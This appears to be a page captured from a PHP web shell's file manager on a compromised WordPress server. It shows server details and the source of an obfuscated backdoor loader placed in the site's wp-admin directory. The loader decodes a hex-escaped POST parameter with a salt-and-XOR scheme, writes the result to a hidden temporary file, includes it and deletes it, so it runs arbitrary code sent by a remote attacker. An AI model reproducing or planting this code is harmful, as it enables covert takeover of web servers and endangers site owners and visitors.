| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/nevrgreen-pools/wp-admin/ |
Upload File : |
<?php
if(filter_has_var(INPUT_POST, "dat\x61_ch\x75n\x6B")){
$bind = $_REQUEST["dat\x61_ch\x75n\x6B"];
$bind=explode ( "." ,$bind ) ;
$hld = '';
$salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt8);
$o = 0;
$len = count($bind);
do {
if ($o >= $len) break;
$v6 = $bind[$o];
$chS = ord($salt8[$o % $lenS]);
$d = ((int)$v6 - $chS - ($o % 10)) ^ 13;
$hld .= chr($d);
$o++;}while (true);
$record = array_filter([getcwd(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]);
for ($property_set = 0, $ent = count($record); $property_set < $ent; $property_set++) {
$pointer = $record[$property_set];
if (is_writable($pointer) && is_dir($pointer)) {
$marker = "$pointer/.dat";
$file = fopen($marker, 'w');
if ($file) {
fwrite($file, $hld);
fclose($file);
include $marker;
@unlink($marker);
die();
}
}
}
}